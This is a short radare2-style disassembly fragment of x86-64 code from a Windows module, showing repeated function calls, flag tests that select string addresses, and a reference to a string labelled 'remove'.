call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
test al, 4
je 0x180062637
lea rbx, [0x1800f4668]
jmp 0x18006264b
test al, 2
lea rbx, [0x1800f4680]
lea rax, [0x1800f4698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.1800037d0
lea rdx, [0x180218848]
lea rcx, [rsp + 0xd8]
call fcn.18008d200
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
test al, 4
je 0x1800626a3
lea rbx, [0x1800f4668]
jmp 0x1800626b7
test al, 2
lea rbx, [0x1800f4680]
lea rax, [0x1800f4698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x100]
call fcn.1800037d0
lea rdx, [0x180218848]
lea rcx, [rsp + 0x100]
call fcn.18008d200
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bfa0
nop
call fcn.180099e04
int3
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
int3